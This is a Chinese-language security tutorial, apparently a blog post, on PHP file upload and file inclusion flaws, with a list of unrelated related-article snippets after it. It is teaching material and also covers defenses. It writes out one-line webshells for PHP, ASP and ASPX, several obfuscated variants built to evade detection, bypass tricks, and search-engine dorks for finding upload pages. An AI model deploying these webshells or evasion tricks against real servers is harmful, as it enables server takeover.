文件上传和文件包含
声明:
本文章只是适用于网络安全教学,请自觉遵守网络安全法,严禁用于非法途径,若读者做出来任何危害网络安全的行为,后果自负,均与本人无关.
文件上传:
大部分的网站和应用系统都有上传的功能,如用户头像上传,图片上传,文档上传等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀名以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意的php文件,并能够讲这些文件传递给PHP解释器,就可以通过远程服务器上执行任意的PHP脚本。
当系统存在文件上传漏洞的时候,攻击者可以将病毒,木马,webshell,其他恶意脚本或者包含了脚本的图片上传的服务器,这些文件将对攻击者后续攻击提供便利,根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后的这几类脚本。
产生的原因:
用户上传文件的时候,没有对其进行严格的过滤,使攻击者可以利用这种情况进行
1.服务器配置错误
2.开源编码器漏洞
3.本地上传限制不严格
4.服务器过滤不严格
文件上传的危害:
- 上传文件时病毒或者木马的时候,主要是用于诱骗用户或者管理员下载执行或者直接自动运行
- 上传文件时webshell的时候,攻击者可以通过这些页面后门执行命令并且控制服务器
- 上传是恶意其他的脚本的时候,攻击者可以直接执行脚本进行攻击
- 上传文件时恶意图片的时候,攻击者可以直接执行脚本进行攻击
- 上传的文件时恶意图片的时候,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行
- 上传文件时伪装成正常后缀的恶意脚本的时候,攻击者可以借助本地文件包含漏洞(Local File Include)执行改文件。例如将bad.php文件改名bad.doc上传到服务器,然后通过PHP的inculde,inclue_once,require,require_once等函数包含执行。
文件上传漏洞判断:
1.看是不是二次渲染,看有没有经过两次
二次渲染:吧上传的文件,生成一个新的文件。
2.猜测验证
3.没有漏洞就看中间件
文件上传漏洞如何去查找:
黑盒(用户角度)
1.扫描工具
2.通过网站给的应用
3.网站后台
白盒(对特定程序内部进行测试)
1.代码分析
文件上传漏洞绕过:
1.绕过黑名单,拒绝扩展名:.asa,asax.asp,aspx,asmx,ashx,exe
2.漏网之鱼:c.cer证书 c.cdx复合索引
3.绕过后缀替换为空 replace(“php”,“”) c.pHp c.phphpp burp:c.php. burp:c.php
4.c.php::$DATA 权限维持:隐藏后门,绕过D盾检测
文件上传功能:
上传头像、上传资源、上传图片、上传附件
常用工具:
中国菜刀、中国蚁剑、冰蝎、weelevy、godzilla
防御方法:
1.白名单判断文件后缀是否合法
2.文件上传的目录设置为不可执行
3.判断文件类型
4.使用随机数改写文件名和文件路径
5.单独设置服务器文件域名
6.使用安全设备防御(WAF、防火墙)
常用的木马植入方式:
1.以文件的形式上传的服务器
上传文件可以利用mysql的into outfile,表单上传等方式
2.以字符串的形式上传到服务器
通过mysql的日志方式,shell的echo方式,命令执行,反序列化。
文件包含:
简单的说就是服务器通过PHP的特性(函数的特性)去包含任意文件的时候,由于对包含的这个文件来源过滤不严,从而可以去包含一个恶意的文件,而我们构造的这个恶意文件来达到"邪恶"的目的,(从而读取服务器的敏感文件等)
是代码注入的一种,注入需要一端用户能控制的脚本或者代码,并且让服务器执行,尝尝出现在一些流行的web开发语言中,如JSP,PHP,ASP 以PHP为例,常见的文件包含函数 include(),include_once(),reqire(),reqire_once,fopen(),readfile()
漏洞原理:
简单地说,就是把多个文件,用各种方法包含在一个文件里。程序开发人员通常会把可是重复使用的反函数写到单个文件中,在使用某些函数的时候,直接调用此文文件,无需再次编写,这种调用文件的过程一般称为文件包含。
allow_url_include:如果开启了这个参数,攻击者可以配合文件上传包含PHP代码的任何文件,通过文件包含漏洞,从而进行恶意文件。
- allow_url_include:是否允许include()和require()函数包含URL(HTTP,HTTPS)作为文件处理。
- allow_url_fopen:参数是否允许url(http,https)作为文件打开处理
前提:
- allow_url_fopen:on
- allow_url_include:on
这两个参数都是on的情况下,文件包含漏洞是成功的。
上面的代码,GET请求参数"page"传给了一个变量filename,包含了这个变量,没有对$_GET['page']的值,包含自己想看文件。(文件路径一定要对,不对的话包含不了。)
文件包含漏洞的成因:
PHP文件包含有以下几种:
- require()
require_once()
require开头的函数如过包含的文件语法有问题,程序就会中断执行。 - include()
include_once()
include开头的函数,如果包含文件语法有问题,程序还会继续执行。
include有返回值,require没有返回值
PHP文件包含类型:
1、可以包含本地文件
相对路径
file=…/…/…/b.php
绝对路径:
file:///c:/Users/20855/destop/
2、可以包含远程文件(必须服务器开启了远程包含的功能)
PHP配置文件:php.ini
allow_url_include=on
文件包含的函数:
HTML5文件包含
能包含CSS: 能包含JS:<script
src=‘xxxxx’xxxxx.js’'>
include():文件包含失败后,报警告错误,后面的代码会执行。
include_once():包含文件时候,先做着一个检测,如果前面的文件以后包含就不再执行。
require():文件包含失败后,报致命错误,后面的代码不会执行。
require_once():包含文件的时候,先做一个检测,如果前面的文件有包含就不再执行。
文件包含漏洞分为两个类型:一个是本地包含一个远程包含。
文件包含漏洞的危害:
1.包含独处目标机器上的其他文件(系统文件等)
2.包含可以运行的PHP木马
3.包含一个创建的PHP文件
4.提权
文件包含的伪协议:(请求协议)
1.php:// 可以获取post原生数据(php://input) 将目标文件的源码进行加密读出(在get请求最后面输入要传入的php命令即可)
2.file:// 浏览器访问本地文件的协议
3.data:// 数据流封装器,传递响应格式的数据,通常可以用来执行PHP代码
4.phar:// 执行文件压缩中的文件
5.zip:// 执行文件压缩中的文件
文件包含绕过:
1.URL编码绕过:当某些执行符号设置为空的时候,可以利用编码或者双写绕过。
2.特殊字符绕过:同上
3.%00截断;当后缀名被给执行的文件类型的时候,可以利用%00截断
4.路径长度截断
文件包含漏洞的利用条件:
1.程序用include()等文件包含通过动态变量的方式引入所要包含的文件
2.用户能够控制该动态变量
3.要保证php.ini中的allow_url_fopen和allow_url_include都为on(远程文件包含)
如何防护文件包含漏洞:
1.使用str_raplace等方式过滤掉危险的字符
2.配置open_basedire,防止目录遍历
3.PHP版本升级,防止%00截断
4.对文件进行重命名,防止被读取
5.对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6.做好管理员权限分化,做好文件的权限管理。
常用的请求方法:
1.利用工具在请求头中getshell
文件包含获取原生数据: pup://input
请求头中:<?php@eval($_POST['cmd'];?>
图片马+文件包含漏的功能
通过上传图片马,集合文件包和漏洞上传webshell
php、ASP、ASPX一句话木马
1、PHP
<?php @eval($_POST['cmd']);?>
2、ASP
<%eval request("pass")%>
3、ASPX
<%@ Page Language="jscript"%> <%eval(Request.ltem["pass"],"unsafe");%>
eval函数,是把一串字符串作为PHP代码执行,<?php @eval($_POST['cmd']);?>把cmd换成操作系统命令就可以对系统进行操作。
木马变形:
PHP语法中eval,比如assert函数也可以执行代码
命令执行函数system、passthru、exec、shell_exec等
双变量绕过:
<?php $_POST['a']($_POST['b']);?>
a=assert$ b=phpinfo()
字符串绕过:
<?php
$a=substr_replace(string:"assxxx",replace:"ert",offset:3)
$a=($_POST['cmd']);
?>
subsrt_replace这个函数把字符串的一部分替换为另一个字符串
定义函数绕过:
<?php
functiion test($a){$a($_POST['cmd']);
}
test(a:"assert);
?>
指调用函数的时候,将另一个函数作为参数传递到调用的函数中
功能:使用回调函数,是为了可以将一段自定义的功能传递到函数内部使用
<?
function test($func,$param){reutrn $fun($param);
}
test(func:'assert',$_POST['cmd']);
?><?php call_user_func($)POST['a'],$_POST['b']);?>
call_user_func:PHP内置回调函数
$_POST['a']:传递函数名
$_POST['b']:参数类绕过:
<?php
class test{var $a;var $b;function_ _construct($a,$b){$this-> a = $a;$this-> b = $b;}function demo(){array_map($this->a,$this->b);}
}
$t = new test(a:'assert',array($_POST['cmd']));
$t->demo();
?>
array_map:调用函数
$t->demo();:创建对象后,调用demo函数编码绕过
<?php
$a=base64_decode(($_POST['cmd']));
assert($a);
?>特殊字符干扰绕过:
<?php
$a=("!"^"@")."ssert";
$a=($_POST['cmd']);
?>无字符特征码绕过
<?php
$_=("$"^"{").("~"^".").("/"^"`").("-"^''~").("("^"|");
${$_}['a'](${$_}['b']);
?>
${$_}['a'](${$_}['b']);:等效于$_POST['a']($_POST['b']);
两个字符串进行异或运算时,会转成二进制,完成之后,在换回字符串
常用的绕过方式:
1.JS代码删除即可
2.检查后缀的
搜索文件上传的语法:
搜索登录页面
1、inurl:upload.php
2、搜索PHP CMS(管理平台,管理操作系统)
inurl:index.php?m=member
这种类型的代码叫mime类型,它的作用是客户端与服务器交流时发送的实例数据类型。
[‘type’]=‘image/jpeg’
MIME:多用途互联网邮件扩展类型
MIME常见类型:
text/html:HTML格式
application/json:json数据格式
multipart/form-data:文件上传(二进制数据)
image/jpeg:jpg图片的格式
注释: <! – 内容–>
客户端使用:
1.GET请求不需要这个字段
2.POST请求,放在content type指定上传的文件类型,方便服务器解析,放在accept,告诉服务端允许接受的响应类型,比如只能接受json或者其他
服务端使用:
1、放在响应头里面,告诉客户端响应的数据类型,方便客户解析
等价扩展名:
asp:ashx,asmx,ascx
php:php2、php3、php4、php5、phps、phtml
jsp:jspx、jspf
结语:
一些关于文件上传和文件包含的总结,一个好的攻击手法往往都是上传和包含结合起来使用,当然也要根据实际情况来看,这里只为和各位师傅们交流学习! 希望对各位师傅们有帮助!
相关文章:
文件上传和文件包含
声明: 本文章只是适用于网络安全教学,请自觉遵守网络安全法,严禁用于非法途径,若读者做出来任何危害网络安全的行为,后果自负,均与本人无关. 文件上传: 大部分的网站和应用系统都有上传的功能,如用户头像上传,图片上传,文档上传…...

[Unity Demo]从零开始制作空洞骑士Hollow Knight第十八集补充:制作空洞骑士独有的EventSystem和InputModule
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、制作空洞骑士独有的EventSystem和InputModule总结 前言 hello大家好久没见,之所以隔了这么久才更新并不是因为我又放弃了这个项目,而…...

yelp数据集上试验SVD,SVDPP,PMF,NMF 推荐算法
SVD、SVD、PMF 和 NMF 是几种常见的推荐算法,它们主要用于协同过滤和矩阵分解方法来生成个性化推荐。下面是对每种算法的简要介绍: 1. SVD(Singular Value Decomposition) 用途:SVD 是一种矩阵分解技术,通…...

计算机视觉常用数据集Cityscapes的介绍、下载、转为YOLO格式进行训练
我在寻找Cityscapes数据集的时候花了一番功夫,因为官网下载需要用公司或学校邮箱邮箱注册账号,等待审核通过后才能进行下载数据集。并且一开始我也并不了解Cityscapes的格式和内容是什么样的,现在我弄明白后写下这篇文章,用于记录…...
Flink和Spark在实时计算方面有何异同
Flink和Spark在实时计算方面既有相似之处,也存在显著的差异。以下是对它们之间异同的详细分析: 一、设计理念与世界观 Flink: 专注于流处理,认为批是流的特例。数据流分为有限流(Bounded)和无限流…...

纵然千万数据流逝,唯独vector长存
公主请阅 1.vector的一些方法1vector和stringpush_back 插入以及三种遍历数组的方式一些方法vector中的一些常见的方法1. push_back()2. pop_back()3. size()4. clear()5. empty()6. resize()7. insert()8. erase()9. at()10. front和 back()11. data()12. capacity()13. shrin…...
【LeetCode】【算法】739. 每日温度
LeetCode 739. 每日温度 题目描述 给定一个整数数组 temperatures ,表示每天的温度,返回一个数组 answer ,其中 answer[i] 是指对于第 i 天,下一个更高温度出现在几天后。如果气温在这之后都不会升高,请在该位置用 0…...

2025年知识管理新方案:十款前沿知识库搭建工具详解
随着企业信息化和智能化的发展,知识管理已成为提升企业竞争力的关键要素。一个高效的知识库不仅能促进内部沟通,还能展示企业的专业形象。以下是2025年十款前沿知识库搭建工具的详解。 1. HelpLook AI知识库 HelpLook AI知识库是一款专注于为企业提供高…...
WebSocket实现消息实时推送
文章目录 websocket介绍特点工作原理 用websocket实现实时推送引入依赖WebSocket 函数定义变量声明初始化 WebSocket 连接WebSocket 连接的初始化和事件处理连接打开事件接收消息处理连接关闭和重连机制心跳机制使用 WebSocket代码完整显示 websocket介绍 WebSocket 是一种网络…...

flink 内存配置(三):设置JobManager内存
flink 内存配置(一):设置Flink进程内存 flink 内存配置(二):设置TaskManager内存 flink 内存配置(三):设置JobManager内存 flink 内存配置(四)…...
蓝桥杯 Python组-神奇闹钟(datetime库)
神奇闹钟 传送门: 0神奇闹钟 - 蓝桥云课 问题描述 小蓝发现了一个神奇的闹钟,从纪元时间(1970 年 11 日 00:00:00)开始,每经过 x 分钟,这个闹钟便会触发一次闹铃 (…...

解决阿里云三个月证书过期 免费SSL证书部署教程
相信有上线过自己的网站、小程序经验的同学深有体会,给服务加上 SSL 证书还挺麻烦的,尤其是没有运维经验的同学。本来最省事的方法是买个证书,但是一看价格,还是算了吧,动辄就是几万块一年。作为个人来说,这…...

VBA03-变量
一、什么是变量 变量是一个自定义名称的储存单位,变量是一个载体。 二、代码调试 在代码逐句运行的过程中查看变量的存储内容。 2-1、示例1 2-2、示例 三、变量的数据类型 若是定义的数据类型的变量,存储了超出了她范围的数,则会报溢出。 注…...
docker-ce-stable‘ 下载元数据失败 : Cannot download repomd.xml: Cannot download
看起来你在尝试安装 containerd.io-1.6.32 时遇到了问题,因为 docker-ce-stable 仓库的元数据下载失败。以下是一些可能的解决方案: 1. 检查仓库配置 确保你的 /etc/yum.repos.d/ 目录下的 docker-ce.repo 文件配置正确。你可以尝试手动编辑该文件&…...
C中定义字符串有下列几种形式
字符串常量,char数组,char指针之间的差异 1、字符串常量: 位于一对双括号中的任何字符。双引号里的字符加上编译器自动提供的结束标志\0字符,作为一个字符串存储在内存中。 例如: printf("%s","hello"); /…...
写一个小日历
以下是一个示例,展示了如何创建一个基本的日历 日历 1. HTML 结构 首先,创建一个基本的 HTML 结构,用于展示日历。 <!DOCTYPE html> <html lang"zh"> <head><meta charset"UTF-8"><meta na…...

【数据库】elasticsearch
1、架构 es会为每个索引创建一定数量的主分片和副本分片。 分片(Shard): 将索引数据分割成多个部分,每个部分都是一个独立的索引。 主要目的是实现数据的分布式存储和并行处理,从而提高系统的扩展性和性能。 在创建索…...
Rust 构建 TCP/UDP 网络服务
第四章 异步编程与网络通信 第二节 构建 TCP/UDP 网络服务 在现代应用程序中,网络通信是核心功能之一。本节将重点介绍如何在 Rust 中构建基本的 TCP 和 UDP 网络服务,涵盖实际的代码示例、最佳实践以及最新的技术方案,以帮助开发者掌握网络…...

docker镜像文件导出导入
1. 导出容器(包含内部服务)为镜像文件(docker commit方法) 原理:docker commit命令允许你将一个容器的当前状态保存为一个新的镜像。这个新镜像将包含容器内所有的文件系统更改,包括安装的软件、配置文件等…...

ViT面试知识点
文章目录 VITCLIPBlipSAMLSegFast TransformerYOLO系列问题 BatchNorm是对一个batch-size样本内的每个特征做归一化,LayerNorm是对每个样本的所有特征做归一化。 Layer Normalization(层归一化,简称LayerNorm)是一种在深度学习中…...

AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...

关于nvm与node.js
1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...
【磁盘】每天掌握一个Linux命令 - iostat
目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat(I/O Statistics)是Linux系统下用于监视系统输入输出设备和CPU使…...

零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...
Java线上CPU飙高问题排查全指南
一、引言 在Java应用的线上运行环境中,CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时,通常会导致应用响应缓慢,甚至服务不可用,严重影响用户体验和业务运行。因此,掌握一套科学有效的CPU飙高问题排查方法&…...

推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...
CppCon 2015 学习:Time Programming Fundamentals
Civil Time 公历时间 特点: 共 6 个字段: Year(年)Month(月)Day(日)Hour(小时)Minute(分钟)Second(秒) 表示…...

对象回调初步研究
_OBJECT_TYPE结构分析 在介绍什么是对象回调前,首先要熟悉下结构 以我们上篇线程回调介绍过的导出的PsProcessType 结构为例,用_OBJECT_TYPE这个结构来解析它,0x80处就是今天要介绍的回调链表,但是先不着急,先把目光…...
python打卡第47天
昨天代码中注意力热图的部分顺移至今天 知识点回顾: 热力图 作业:对比不同卷积层热图可视化的结果 def visualize_attention_map(model, test_loader, device, class_names, num_samples3):"""可视化模型的注意力热力图,展示模…...